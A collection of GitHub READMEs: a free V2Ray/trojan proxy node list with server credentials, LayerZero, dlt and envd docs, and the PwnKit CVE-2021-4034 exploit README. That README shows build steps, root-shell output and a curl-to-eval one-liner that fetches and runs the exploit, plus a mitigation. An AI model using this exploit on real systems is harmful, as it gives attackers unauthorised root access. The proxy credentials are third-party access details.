科学上网,白嫖节点,免费节点,免费梯子,免费机场,白嫖机场,免费VPN,免费V2Ray,免费Trojan,免费SSR, 每日多次更新, سرور های جدید V2Ray, سرور فعال V2ray, سرورهای vmess, لینک v2ray رایگان 配合推荐工具使用，效果更佳 程序自动收集节点，每日更新，请勿滥用，更新时间 **2024-06-24T17:33:31+08:00**，已运行**846**天 如果订阅地址无法正常访问，请自行搜索github加速网站 ### 推荐工具 Android平台支持连接多种协议，支持节点测速APP: [SSRRAY](https://github.com/xxf098/shadowsocksr-v2ray-trojan-android/releases) 跨平台，多协议节点批量测速工具: [LiteSpeedTest](https://github.com/xxf098/LiteSpeedTest/releases) ### 订阅地址 - `https://raw.githubusercontent.com/mianfeifq/share/main/data2024060.txt` - `https://raw.nuaa.cf/mianfeifq/share/main/data2024060.txt` ### 最新节点 ``` vmess://eyJob3N0IjoiZ2l0aHViLmNvbSIsInBhdGgiOiIvIiwidGxzIjoiIiwiYWRkIjoiZ2l0aHViLmNvbSIsInBvcnQiOiI0NDMiLCJhaWQiOiIwIiwibmV0IjoidGNwIiwiaGVhZGVyVHlwZSI6Im5vbmUiLCJ2IjoiMiIsInR5cGUiOiJub25lIiwicHMiOiIyMDI0LTA2LTI0VDE3OjMzOjMxKzA4OjAwIDE1NyBodHRwczovL2dpdGh1Yi5jb20vbWlhbmZlaWZxL3NoYXJlICIsInJlbWFyayI6IjIwMjQtMDYtMjRUMTc6MzM6MzErMDg6MDAgMTU3IGh0dHBzOi8vZ2l0aHViLmNvbS9taWFuZmVpZnEvc2hhcmUiLCJpZCI6Im1pYW5mZWlmcSJ9 vmess://eyJ2IjoiMiIsInBzIjoiVVM1OTAgNi45TUIvcyIsImFkZCI6IjIwNS4yMzQuMjMxLjM1IiwicG9ydCI6IjMxNDMzIiwiaWQiOiI1MGU4MjU4MS1iZDE0LTQ1MjctZjdkNi1lNzgyNGNkMjZmNTciLCJhaWQiOiIwIiwic2N5IjoiYXV0byIsIm5ldCI6InRjcCIsInR5cGUiOiJub25lIiwiaG9zdCI6IiIsInBhdGgiOiIiLCJ0bHMiOiIiLCJzbmkiOiIiLCJ0ZXN0X25hbWUiOiJVUzU5MCJ9 vmess://eyJ2IjoiMiIsInBzIjoi8J+HqPCfh6Yg5Yqg5ou/5aSnIDA1OCIsImFkZCI6InRlc3Quc2hvd21leW91ci50b3AiLCJwb3J0IjoiODQ0MyIsInR5cGUiOiJub25lIiwiaWQiOiI5YWVkNzVjOC1hYjEwLTRlMzktODZmOC02YWViMGNlOWZjM2YiLCJhaWQiOiIwIiwibmV0Ijoid3MiLCJwYXRoIjoiL2VlMDgwYzg2LyIsImhvc3QiOiJ0ZXN0LnNob3dtZXlvdXIudG9wIiwidGxzIjoidGxzIn0= trojan://9773d67f-38f8-4619-a144-a1221b79d93f@kz-full.privateip.net:443#%F0%9F%87%B0%F0%9F%87%BF%20Kazakhstan%20Trojan%20@V2rayStore vmess://eyJhZGQiOiAidXMtZnVsbC5wcml2YXRlaXAubmV0IiwgImFpZCI6ICIwIiwgImhvc3QiOiAiIiwgImlkIjogIjU1ZTllMGU1LWM2OGUtNDNjZS1iMWEzLTliYTkzZWE2NWY3MSIsICJuZXQiOiAid3MiLCAicGF0aCI6ICIvUkFDRVZQTiIsICJwb3J0IjogIjQ0MyIsICJwcyI6ICIlRjAlOUYlODclQkElRjAlOUYlODclQjglMjBVbml0ZWQlMjBTdGF0ZXMlMjBWbWVzcyUyMFdTJTIwQFYycmF5U3RvcmUiLCAidGxzIjogInRscyIsICJ0eXBlIjogIm5vbmUiLCAidiI6ICIyIn0= trojan://f159cb8d-8cb8-45ac-99f3-8f8838f355dd@ca-full.privateip.net:443#%F0%9F%87%A8%F0%9F%87%A6%20Canada%20Trojan%20@V2rayStore trojan://telegram-id-privatevpns@54.154.223.46:22222?security=tls&alpn=http/1.1&headerType=none&type=tcp&sni=trojan.burgerip.co.uk#%F0%9F%87%AE%F0%9F%87%AAIE%20%7C%20%F0%9F%9F%A2%20%7C%20trojan%20%7C%20@PrivateVPNs%20%7C%2013 vmess://eyJhZGQiOiAiaXQtZnVsbC5wcml2YXRlaXAubmV0IiwgImFpZCI6ICIwIiwgImhvc3QiOiAiIiwgImlkIjogImUyNWFhMGNlLTY4OTYtNGE2MC1iZmJlLWE5OTJjNzg5MzIwYyIsICJuZXQiOiAid3MiLCAicGF0aCI6ICIvUkFDRVZQTiIsICJwb3J0IjogIjQ0MyIsICJwcyI6ICIlRjAlOUYlODclQUUlRjAlOUYlODclQjklMjBJdGFseSUyMFZtZXNzJTIwV1MlMjBAVjJyYXlTdG9yZSIsICJ0bHMiOiAidGxzIiwgInR5cGUiOiAibm9uZSIsICJ2IjogIjIifQ== vmess://eyJ2IjoiMiIsInBzIjoi5pyq55+lMTEyNCIsImFkZCI6IjE4My4xODEuMzYuMTk0IiwicG9ydCI6IjQxNTk3IiwiaWQiOiI0YTZlYWEyZC01NjAzLTRjMDUtZDk2Ny1mYjZmNDIyNTBhNWEiLCJhaWQiOiIwIiwic2N5IjoiYXV0byIsIm5ldCI6IndzIiwidHlwZSI6IiIsImhvc3QiOiIiLCJwYXRoIjoiLyIsInRscyI6IiIsInNuaSI6IiIsInRlc3RfbmFtZSI6IjExMjQifQ== trojan://ypDt8RkT7J@51.158.217.130:43118?security=tls&sni=toflf.phooeyunfold.com&type=tcp&fp=random&alpn=http/1.1#%F0%9F%94%92%20TR-TCP-TLS%20%F0%9F%87%AB%F0%9F%87%B7%20FR-51.158.217.130:43118 vmess://eyJhZGQiOiAiZGUtdjJyYXkuZnJlZXZtZXNzLmNvbSIsICJhaWQiOiAiMCIsICJhbHBuIjogImgyLGh0dHAvMS4xIiwgImhvc3QiOiAiIiwgImlkIjogIjQ5ZGQ2MmJkLWI4ZGItNGIwMy1iY2VlLTQzNDRlNjlkYjc0YSIsICJuZXQiOiAidGNwIiwgInBhdGgiOiAiIiwgInBvcnQiOiAiMjA4MyIsICJwcyI6ICIlRjAlOUYlODclQTklRjAlOUYlODclQUElMjBHZXJtYW55JTIwTW9iaXRlbCUyMFNlcnZlciUyMDAyJTIwQFYycmF5U3RvcmUiLCAic2N5IjogImF1dG8iLCAic25pIjogIiIsICJ0bHMiOiAidGxzIiwgInR5cGUiOiAibm9uZSIsICJ2IjogIjIifQ== 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vmess://ewogICAgImFkZCI6ICIxNzIuNjcuMjA0Ljg0IiwKICAgICJhaWQiOiAwLAogICAgImhvc3QiOiAiamFoZmtqaGEuY2ZkIiwKICAgICJpZCI6ICI5NTBkYjZhYS00OTI2LTQ2MTYtODE2ZS1lYzAzMTJkY2I4N2IiLAogICAgIm5ldCI6ICJ3cyIsCiAgICAicGF0aCI6ICIvbGlua3dzIiwKICAgICJwb3J0IjogNDQzLAogICAgInBzIjogIvCfj4FSRUxBWS0xNzIuNjcuMjA0Ljg0LTAxNjQiLAogICAgInRscyI6ICJ0bHMiLAogICAgInR5cGUiOiAiYXV0byIsCiAgICAic2VjdXJpdHkiOiAiYXV0byIsCiAgICAic2tpcC1jZXJ0LXZlcmlmeSI6IGZhbHNlLAogICAgInNuaSI6ICJqYWhma2poYS5jZmQiCn0= trojan://a9068131-63ac-42c8-b623-b8c904418679@172.232.250.227:443?security=tls&sni=id-full.privateip.net#%F0%9F%94%92%20TR-TCP-TLS%20%F0%9F%87%AE%F0%9F%87%A9%20ID-172.232.250.227:443 trojan://ac397198-6466-403f-987f-a86fc6fb153c@178.79.140.181:443?security=tls&sni=uk2-full.privateip.net&allowInsecure=1#%F0%9F%94%92%20TR-TCP-TLS%20%F0%9F%87%AC%F0%9F%87%A7%20GB-178.79.140.181:443 trojan://aaac7f98-2590-4d26-ba5e-b365295032a1@in-full.privateip.net:443#%F0%9F%87%AE%F0%9F%87%B3%20India%20Trojan%20@V2rayStore vmess://ewogICAgImFkZCI6ICJ0Z2p1Lm9yZyIsCiAgICAiYWlkIjogMCwKICAgICJob3N0IjogImNvbm5lY3Quc2xlZXBpbmdqZW1wYS5pciIsCiAgICAiaWQiOiAiNmZmOWFmYjQtZThlNi00YjgyLWFhNGMtN2UxNGY5NzJlMzlhIiwKICAgICJuZXQiOiAid3MiLAogICAgInBhdGgiOiAiLzEwMDAxIiwKICAgICJwb3J0IjogNDQzLAogICAgInBzIjogIuWKoOaLv+WkpyAwNTIiLAogICAgInRscyI6ICJ0bHMiLAogICAgInR5cGUiOiAiYXV0byIsCiAgICAic2VjdXJpdHkiOiAiYXV0byIsCiAgICAic2tpcC1jZXJ0LXZlcmlmeSI6IHRydWUsCiAgICAic25pIjogImNvbm5lY3Quc2xlZXBpbmdqZW1wYS5pciIKfQ== vmess://eyJhZGQiOiAiMTA3LjE0OC4xOTIuMTU2IiwgImFpZCI6ICI2NCIsICJhbHBuIjogIiIsICJmcCI6ICIiLCAiaG9zdCI6ICIiLCAiaWQiOiAiNDE4MDQ4YWYtYTI5My00Yjk5LTliMGMtOThjYTM1ODBkZDI0IiwgIm5ldCI6ICJ0Y3AiLCAicGF0aCI6ICIiLCAicG9ydCI6ICI0MTkxMSIsICJwcyI6ICJcdWQ4M2RcdWRkMTIgVk0tVENQLU5BIFx1ZDgzY1x1ZGRmYVx1ZDgzY1x1ZGRmOCBVUy0xMDcuMTQ4LjE5Mi4xNTY6NDE5MTEiLCAic2N5IjogImF1dG8iLCAic25pIjogIiIsICJ0bHMiOiAiIiwgInR5cGUiOiAiIiwgInYiOiAiMiJ9 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trojan://telegram-id-privatevpns@18.171.199.224:22222?security=tls&sni=trojan.burgerip.co.uk&type=tcp&alpn=http/1.1#%F0%9F%94%92%20TR-TCP-TLS%20%F0%9F%87%AC%F0%9F%87%A7%20GB-18.171.199.224:22222 vmess://eyJ2IjoiMiIsImFkZCI6IjIxNy4xNjAuNDUuMzEiLCJwb3J0IjoiODg4MCIsImlkIjoiNGUxODY2NzgtZmNjYS00MzI1LWU0YmMtYjI5MTZiZGY2NzA4IiwiYWlkIjoiMCIsInNjeSI6ImF1dG8iLCJuZXQiOiJ3cyIsInR5cGUiOiJub25lIiwiaG9zdCI6IiIsInBhdGgiOiIiLCJ0bHMiOiIiLCJzbmkiOiIiLCJhbHBuIjoiIiwiZnAiOiIiLCJwcyI6Ilx1ZDgzY1x1ZGRlY1x1ZDgzY1x1ZGRlN0dCIHwgXHVkODNkXHVkZmUyIHwgdm1lc3MgfCBAdjJMaW5lIHwgMiJ9 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vmess://eyJ2IjogIjIiLCAicHMiOiAiXHU3ZjhlXHU1NmZkIENsb3VkRmxhcmVcdTgyODJcdTcwYjkiLCAiYWRkIjogImNmY2RuMS5zYW5mZW5jZG45LmNvbSIsICJwb3J0IjogIjIwNTIiLCAidHlwZSI6ICJub25lIiwgImlkIjogImZlYzI1ZTdiLTNlMzAtNDcwMi05YjkzLTYyZWQzODQ5YTlkNyIsICJhaWQiOiAiMCIsICJuZXQiOiAid3MiLCAicGF0aCI6ICIvdmlkZW8vNlZCaEFrQ3RWNC8iLCAiaG9zdCI6ICJ1czFjUFppejhuYi5memJxZnJzZS54eXoiLCAidGxzIjogIiJ9 vmess://eyJ2IjoiMiIsImFkZCI6IjE4OC4xMTQuOTcuMyIsInBvcnQiOiI0NDMiLCJpZCI6ImY1ODRkZTE1LTIwMzQtNDE3MC1hNzIzLWY0OGMyYmFlNWUwZiIsImFpZCI6IjAiLCJzY3kiOiJhdXRvIiwibmV0Ijoid3MiLCJ0eXBlIjoibm9uZSIsImhvc3QiOiJhZnJobXMxNnYuYmVzdHhyYXkuYnV6eiIsInBhdGgiOiJcL2xpbmt3cyIsInRscyI6InRscyIsInNuaSI6ImFmcmhtczE2di5iZXN0eHJheS5idXp6IiwiYWxwbiI6IiIsImZwIjoiY2hyb21lIiwicHMiOiJcdWQ4M2RcdWRlYTlDRiB8IFx1ZDgzZFx1ZGZlMiB8IHZtZXNzIHwgQHYycmF5bmdfY29uZmlnX2FtaW4gfCAwIn0= trojan://ac397198-6466-403f-987f-a86fc6fb153c@uk2-full.privateip.net:443#%F0%9F%87%AC%F0%9F%87%A7%20United%20Kingdom%20Trojan%20@V2rayStore vmess://ewogICAgImFkZCI6ICIxMDQuMjAuMTcuMTg2IiwKICAgICJhaWQiOiAwLAogICAgImhvc3QiOiAiaXAxMS5mcmVlZ3JhZGVseS54eXoiLAogICAgImlkIjogImU5ZTNjYzEzLWRiNDgtNGNjMS04YzI0LTc2MjY0MzlhNTMzOSIsCiAgICAibmV0IjogIndzIiwKICAgICJwYXRoIjogImdpdGh1Yi5jb20vQWx2aW45OTk5IiwKICAgICJwb3J0IjogMjA4NiwKICAgICJwcyI6ICLliqDmi7/lpKcgMjY0IiwKICAgICJ0bHMiOiAiIiwKICAgICJ0eXBlIjogImF1dG8iLAogICAgInNlY3VyaXR5IjogImF1dG8iLAogICAgInNraXAtY2VydC12ZXJpZnkiOiB0cnVlLAogICAgInNuaSI6ICJpcDExLmZyZWVncmFkZWx5Lnh5eiIKfQ== vmess://eyJ2IjogIjIiLCAicHMiOiAiXHVkODNkXHVkZDEyIFZNLVRDUC1OT05FIFx1ZDgzY1x1ZGRlNlx1ZDgzY1x1ZGRlYSBBRS0xODEuMjE1LjIwNS4xNzE6Mjc0MTQiLCAiYWRkIjogIjE4MS4yMTUuMjA1LjE3MSIsICJwb3J0IjogMjc0MTQsICJpZCI6ICIyOGQxOTRkOC1lOWVjLTRhODMtYmY1Ny1jYjIzMjJkMzZlMTUiLCAibmV0IjogInRjcCIsICJ0eXBlIjogIm5vbmUiLCAidGxzIjogIm5vbmUifQ== vmess://eyJhZGQiOiAiMTAzLjE1OS4yMDYuMzUiLCAiYWlkIjogIjAiLCAiYWxwbiI6ICIiLCAiZnAiOiAiIiwgImhvc3QiOiAiIiwgImlkIjogImUyZTUxMWIwLTdkZWYtNGUxYi1kMjM4LTZjYjUzOTFiMmUzZiIsICJuZXQiOiAid3MiLCAicGF0aCI6ICIvIiwgInBvcnQiOiAiMzE5NDUiLCAicHMiOiAiXHVkODNkXHVkZDEyIFZNLVdTLU5BIFx1ZDgzY1x1ZGRmOVx1ZDgzY1x1ZGRmYyBUVy0xMDMuMTU5LjIwNi4zNTozMTk0NSIsICJzY3kiOiAiYXV0byIsICJzbmkiOiAiIiwgInRscyI6ICIiLCAidHlwZSI6ICIiLCAidiI6ICIyIn0= vmess://eyJhZGQiOiAidXMyLWZ1bGwucHJpdmF0ZWlwLm5ldCIsICJhaWQiOiAiMCIsICJob3N0IjogIiIsICJpZCI6ICJlZjg2NDE3OC05OGFjLTQ5M2ItYWU3ZS0wNTRjMzYyYzM0OGYiLCAibmV0IjogIndzIiwgInBhdGgiOiAiL1JBQ0VWUE4iLCAicG9ydCI6ICI0NDMiLCAicHMiOiAiQEhvcGVfTmV0LWpvaW4tdXMtb24tVGVsZWdyYW0iLCAidGxzIjogInRscyIsICJ0eXBlIjogIm5vbmUiLCAidiI6ICIyIn0= vmess://eyJhZGQiOiAic2cyLXYycmF5LmlwcmFjZXZwbi5jb20iLCAiYWlkIjogIjAiLCAiYWxwbiI6ICJoMixodHRwLzEuMSIsICJob3N0IjogIiIsICJpZCI6ICI1MDlmN2Q2OC1lZThkLTRkMDMtODY1ZC1kZTg1NGE1MDAwYTMiLCAibmV0IjogInRjcCIsICJwYXRoIjogIiIsICJwb3J0IjogIjIwODMiLCAicHMiOiAiJUYwJTlGJTg3JUI4JUYwJTlGJTg3JUFDJTIwU2luZ2Fwb3JlJTIwJTIwQFYycmF5U3RvcmUiLCAic2N5IjogImF1dG8iLCAic25pIjogIiIsICJ0bHMiOiAidGxzIiwgInR5cGUiOiAibm9uZSIsICJ2IjogIjIifQ== ```

科学上网，免费节点，白嫖节点，免费vpn，免费v2ray，免费Trojan，免费SSR，每日更新，Free VPN，Free v2ray，Free Trojan，Free SSR，Update daily， سرور های جدید V2Ray，سرور فعال V2ray

v2ray,vmess,trojan,vpn,speedtest,shadowsocksr,iran

LayerZero-Labs/LayerZero

# LayerZero - an Omnichain Interoperability Protocol This repository contains the smart contracts for LayerZero Endpoints. For developers looking to build on top of LayerZero please refer to the [docs](https://layerzero.gitbook.io/docs/) ## Overview LayerZero is an Omnichain Interoperability Protocol designed for lightweight message passing across chains. LayerZero provides authentic and guaranteed message delivery with configurable trustlessness. The protocol is implemented as a set of gas-efficient, non-upgradable smart contracts. ## Development ### Interfaces add this to your package.json ` "@layerzerolabs/contracts": "latest", ` ### Setup - copy .env.example to .env and fill in variables - `yarn install` ### Testing `yarn test` #### Single Test File `yarn test test/Endpoint.test.js` ### Gas Uasge `yarn test:gas` ### Coverage `yarn test:coverage` ### Lint `yarn lint` only lints .js/.ts files ## Deployment Deploy networks are generated based on tags. #### Hardhat `yarn dev` spins up local environment and deploys contracts #### Development ``` hardhat --network rinkeby-testnet deploy hardhat --network rinkeby-sandbox deploy ``` #### Production ``` hardhat --network ethereum deploy ``` ### Adding a new network 1. Update [hardhat config](hardhat.config.ts) with network 1. refer to [STAGING_MAP](utils/deploy.js) for staging environments supported 2. Update [endpoints.json](constants/endpoints.json) with network 3. Make sure that key in endpoints.json matches network name in hardhat Example: One LayerZero Network ``` //hardhat.config.ts ethereum: { url: `{rpc address}`, chainId: 1, //chainlist id } //endpoints.json "production": { ... "ethereum": { "id": 1 //layerzero chain id } } ``` Example: More than one LayerZero Network on same chain (using expandNetwork) ``` //hardhat.config.ts ...expandNetwork({ ropsten: { url: `{rpc address}`, chainId: 3, //chainlist id } }, ["testnet", "sandbox"]), //endpoints.json "development": { ... "ropsten": { "id": 4 //layerzero chain id } } ``` ### Acknowledgments Thank you to the core development team for building the LayerZero Endpoints: Ryan Zarick, Isaac Zhang, Caleb Banister, Carmen Cheng and T. Riley Schwarz ### LICENSING The primary license for LayerZero is the Business Source License 1.1 (BUSL-1.1). see [`LICENSE`](./LICENSE).

An Omnichain Interoperability Protocol

dlt-hub/dlt

<h1 align="center"> <strong>data load tool (dlt) — the open-source Python library for data loading</strong> </h1> <p align="center"> Be it a Google Colab notebook, AWS Lambda function, an Airflow DAG, your local laptop,<br/>or a GPT-4 assisted development playground—<strong>dlt</strong> can be dropped in anywhere. </p> <h3 align="center"> 🚀 Join our thriving community of likeminded developers and build the future together! </h3> <div align="center"> <a target="_blank" href="https://dlthub.com/community" style="background:none"> <img src="https://img.shields.io/badge/slack-join-dlt.svg?labelColor=191937&color=6F6FF7&logo=slack" style="width: 260px;" /> </a> </div> <div align="center"> <a target="_blank" href="https://pypi.org/project/dlt/" style="background:none"> <img src="https://img.shields.io/pypi/v/dlt?labelColor=191937&color=6F6FF7"> </a> <a target="_blank" href="https://pypi.org/project/dlt/" style="background:none"> <img src="https://img.shields.io/pypi/pyversions/dlt?labelColor=191937&color=6F6FF7"> </a> </div> ## Installation dlt supports Python 3.8+. ```sh pip install dlt ``` More options: [Install via Conda or Pixi](https://dlthub.com/docs/reference/installation#install-dlt-via-pixi-and-conda) ## Quick Start Load chess game data from chess.com API and save it in DuckDB: ```python import dlt from dlt.sources.helpers import requests # Create a dlt pipeline that will load # chess player data to the DuckDB destination pipeline = dlt.pipeline( pipeline_name='chess_pipeline', destination='duckdb', dataset_name='player_data' ) # Grab some player data from Chess.com API data = [] for player in ['magnuscarlsen', 'rpragchess']: response = requests.get(f'https://api.chess.com/pub/player/{player}') response.raise_for_status() data.append(response.json()) # Extract, normalize, and load the data pipeline.run(data, table_name='player') ``` Try it out in our **[Colab Demo](https://colab.research.google.com/drive/1NfSB1DpwbbHX9_t5vlalBTf13utwpMGx?usp=sharing)** ## Features - **Automatic Schema:** Data structure inspection and schema creation for the destination. - **Data Normalization:** Consistent and verified data before loading. - **Seamless Integration:** Colab, AWS Lambda, Airflow, and local environments. - **Scalable:** Adapts to growing data needs in production. - **Easy Maintenance:** Clear data pipeline structure for updates. - **Rapid Exploration:** Quickly explore and gain insights from new data sources. - **Versatile Usage:** Suitable for ad-hoc exploration to advanced loading infrastructures. - **Start in Seconds with CLI:** Powerful CLI for managing, deploying and inspecting local pipelines. - **Incremental Loading:** Load only new or changed data and avoid loading old records again. - **Open Source:** Free and Apache 2.0 Licensed. ## Ready to use Sources and Destinations Explore ready to use sources (e.g. Google Sheets) in the [Verified Sources docs](https://dlthub.com/docs/dlt-ecosystem/verified-sources) and supported destinations (e.g. DuckDB) in the [Destinations docs](https://dlthub.com/docs/dlt-ecosystem/destinations). ## Documentation For detailed usage and configuration, please refer to the [official documentation](https://dlthub.com/docs). ## Examples You can find examples for various use cases in the [examples](docs/examples) folder. ## Adding as dependency `dlt` follows the semantic versioning with the [`MAJOR.MINOR.PATCH`](https://peps.python.org/pep-0440/#semantic-versioning) pattern. Currently, we are using **pre-release versioning** with the major version being 0. - `minor` version change means breaking changes - `patch` version change means new features that should be backward compatible - any suffix change, e.g., `post10` -> `post11`, is considered a patch We suggest that you allow only `patch` level updates automatically: * Using the [Compatible Release Specifier](https://packaging.python.org/en/latest/specifications/version-specifiers/#compatible-release). For example **dlt~=0.3.10** allows only versions **>=0.3.10** and less than **<0.4** * Poetry [caret requirements](https://python-poetry.org/docs/dependency-specification/). For example **^0.3.10** allows only versions **>=0.3.10** to **<0.4** ## Get Involved The dlt project is quickly growing, and we're excited to have you join our community! Here's how you can get involved: - **Connect with the Community**: Join other dlt users and contributors on our [Slack](https://dlthub.com/community) - **Report issues and suggest features**: Please use the [GitHub Issues](https://github.com/dlt-hub/dlt/issues) to report bugs or suggest new features. Before creating a new issue, make sure to search the tracker for possible duplicates and add a comment if you find one. - **Track progress of our work and our plans**: Please check out our [public Github project](https://github.com/orgs/dlt-hub/projects/9) - **Contribute Verified Sources**: Contribute your custom sources to the [dlt-hub/verified-sources](https://github.com/dlt-hub/verified-sources) to help other folks in handling their data tasks. - **Contribute code**: Check out our [contributing guidelines](CONTRIBUTING.md) for information on how to make a pull request. - **Improve documentation**: Help us enhance the dlt documentation. ## License `dlt` is released under the [Apache 2.0 License](LICENSE.txt).

data load tool (dlt) is an open source Python library that makes data loading easy 🛠️

data,python,data-engineering,data-lake,data-loading,data-warehouse,elt,extract,load,transform

berdav/CVE-2021-4034

# CVE-2021-4034 One day for the polkit privilege escalation exploit Just execute `make`, `./cve-2021-4034` and enjoy your root shell. The original advisory by the real authors is [here](https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt) ## PoC If the exploit is working you'll get a root shell immediately: ```bash vagrant@ubuntu-impish:~/CVE-2021-4034$ make cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c cc -Wall cve-2021-4034.c -o cve-2021-4034 echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules mkdir -p GCONV_PATH=. cp /usr/bin/true GCONV_PATH=./pwnkit.so:. vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034 # whoami root # exit ``` Updating polkit on most systems will patch the exploit, therefore you'll get the usage and the program will exit: ```bash vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034 pkexec --version | --help | --disable-internal-agent | [--user username] PROGRAM [ARGUMENTS...] See the pkexec manual page for more details. vagrant@ubuntu-impish:~/CVE-2021-4034$ ``` ## Dry Run To not execute a shell but just test if the system is vulnerable compile the `dry-run` target. If the program exit printing "root" it means that your system is vulnerable to the exploit. ```bash vagrant@ubuntu-impish:~/CVE-2021-4034$ make dry-run ... vagrant@ubuntu-impish:~/CVE-2021-4034$ dry-run/dry-run-cve-2021-4034 root vagrant@ubuntu-impish:~/CVE-2021-4034$ echo $? 1 ``` If your system is not vulnerable it prints an error and exit. ```bash vagrant@ubuntu-impish:~/CVE-2021-4034$ dry-run/dry-run-cve-2021-4034 pkexec --version | --help | --disable-internal-agent | [--user username] PROGRAM [ARGUMENTS...] See the pkexec manual page for more details. vagrant@ubuntu-impish:~/CVE-2021-4034$ echo $? 0 ``` ## About Polkit pkexec for Linux Polkit (formerly PolicyKit) is a component for controlling system-wide privileges in Unix-like operating systems. It provides an organized way for non-privileged processes to communicate with privileged processes. It is also possible to use polkit to execute commands with elevated privileges using the command pkexec followed by the command intended to be executed (with root permission). # One-liner commands You can easily exploit the system using a single script, downloadable and executable with this command: ```sh eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)" ``` ```bash vagrant@ubuntu-impish:~/CVE-2021-4034$ whoami vagrant vagrant@ubuntu-impish:~/CVE-2021-4034$ eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)" cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c cc -Wall cve-2021-4034.c -o cve-2021-4034 echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules mkdir -p GCONV_PATH=. cp -f /usr/bin/true GCONV_PATH=./pwnkit.so:. # whoami root ``` # Mitigation If no patches are available for your operating system, you can remove the SUID-bit from pkexec as a temporary mitigation. ```bash # chmod 0755 /usr/bin/pkexec ``` The exploit then will fail complaining that `pkexec` must have the setuid bit enabled. ```bash vagrant@ubuntu-impish:/vagrant/CVE-2021-4034$ sudo chmod 0755 /usr/bin/pkexec vagrant@ubuntu-impish:/vagrant/CVE-2021-4034$ ./cve-2021-4034 GLib: Cannot convert message: Could not open converter from “UTF-8” to “PWNKIT” pkexec must be setuid root ```

CVE-2021-4034 1day

tensorchord/envd

<div align="center"> <img src="https://user-images.githubusercontent.com/12974685/200007223-cd94fe9a-266d-4bbd-ac23-e71043d0c3dc.svg#gh-light-mode-only" alt="envd cat wink"/> <img src="https://user-images.githubusercontent.com/12974685/200007265-4e47ff2c-c2a0-4e77-baaa-760ee8728388.svg#gh-dark-mode-only" alt="envd cat wink"/> <p>Development environment for AI/ML</p> </div> <p align=center> <a href="https://discord.gg/KqswhpVgdU"><img alt="discord invitation link" src="https://dcbadge.vercel.app/api/server/KqswhpVgdU?style=flat"></a> <a href="https://twitter.com/TensorChord"><img src="https://img.shields.io/twitter/follow/tensorchord?style=social" alt="trackgit-views" /></a> <a href="https://pypi.org/project/envd"><img src="https://img.shields.io/pypi/pyversions/envd" alt="Python Version" /></a> <a href="https://github.com/tensorchord/envd#contributors-"><img alt="all-contributors" src="https://img.shields.io/github/all-contributors/tensorchord/envd/main"></a> <a href="https://pypi.org/project/envd/"><img alt="envd package downloads" src="https://static.pepy.tech/personalized-badge/envd?period=month&units=international_system&left_color=grey&right_color=brightgreen&left_text=downloads/month"</a> <a href="https://github.com/tensorchord/envd/actions/workflows/CI.yml"><img alt="continuous integration" src="https://github.com/tensorchord/envd/actions/workflows/CI.yml/badge.svg"></a> <a href='https://coveralls.io/github/tensorchord/envd?branch=main'><img src='https://coveralls.io/repos/github/tensorchord/envd/badge.svg?branch=main' alt='Coverage Status' /></a> </p> ## What is envd? envd (`ɪnˈvdɪ`) is a command-line tool that helps you create the container-based development environment for AI/ML. Creating development environments is not easy, especially with today's complex systems and dependencies. With everything from Python to CUDA, BASH scripts, and Dockerfiles constantly breaking, it can feel like a nightmare - until now! Instantly get your environment running exactly as you need with a simple declaration of the packages you seek in build.envd and just one command: `envd up`! <p align="center"> <img src="https://user-images.githubusercontent.com/5100735/207217321-34c30dde-4b55-4871-b6fe-f9fc6ec19986.svg" width="75%"/> </p> ## Why use `envd`? Environments built with `envd` provide the following features out-of-the-box: **Simple CLI and language** `envd` enables you to quickly and seamlessly integrate powerful CLI tools into your existing Python workflow to provision your programming environment without learning a new language or DSL. ```python def build(): install.python_packages(name = [ "numpy", ]) shell("zsh") config.jupyter() ``` **Isolation, compatible with OCI image** With `envd`, users can create an isolated space to train, fine-tune, or serve. By utilizing sophisticated virtualization technology as well as other features like [buildkit](https://github.com/moby/buildkit), it's an ideal solution for environment setup. `envd` environment image is compatible with [OCI image specification](https://github.com/opencontainers/image-spec). By leveraging the power of an OCI image, you can make your environment available to anyone and everyone! Make it happen with a container registry like Harbor or Docker Hub. **Local, and cloud** `envd` can now be used on a hybrid platform, ranging from local machines to clusters hosted by Kubernetes. Any of these options offers an efficient and versatile way for developers to create their projects! ```sh $ envd context use local # Run envd environments locally $ envd up ... $ envd context use cluster # Run envd environments in the cluster with the same experience $ envd up ``` Check out the [doc](https://envd.tensorchord.ai/teams/kubernetes.html) for more details. **Build anywhere, faster** `envd` offers a wealth of advantages, such as remote build and software caching capabilities like pip index caches or apt cache, with the help of [buildkit](https://github.com/moby/buildkit) - all designed to make your life easier without ever having to step foot in the code itself! Reusing previously downloaded packages from the PyPI/APT cache saves time and energy, making builds more efficient. No need to redownload what was already acquired before – a single download is enough for repeat usage! With Dockerfile v1, users are unable to take advantage of PyPI caching for faster installation speeds - but `envd` offers this support and more! <p align=center> <img src="https://user-images.githubusercontent.com/5100735/189928628-543f4851-87b7-462b-b811-372cbf46ff25.svg#gh-light-mode-only" width="65%"/> </p> <p align=center> <img src="https://user-images.githubusercontent.com/16186646/197944452-4a5dcd5f-68d0-4505-b419-e95c298978d7.svg#gh-dark-mode-only" width="65%"/> </p> Besides, `envd` also supports remote build, which means you can build your environment on a remote machine, such as a cloud server, and then push it to the registry. This is especially useful when you are working on a machine with limited resources, or when you expect a build machine with higher performance. **Knowledge reuse in your team** Forget copy-pasting Dockerfile instructions - use envd to easily build functions and reuse them by importing any Git repositories with the `include` function! Craft powerful custom solutions quickly. ```python envdlib = include("https://github.com/tensorchord/envdlib") def build(): base(os="ubuntu20.04", language="python") envdlib.tensorboard(host_port=8888) ``` <details> <summary><code>envdlib.tensorboard</code> is defined in <a href="https://github.com/tensorchord/envdlib/blob/main/src/monitoring.envd">github.com/tensorchord/envdlib</a></summary> ```python def tensorboard( envd_port=6006, envd_dir="/home/envd/logs", host_port=0, host_dir="/tmp", ): """Configure TensorBoard. Make sure you have permission for `host_dir` Args: envd_port (Optional[int]): port used by envd container envd_dir (Optional[str]): log storage mount path in the envd container host_port 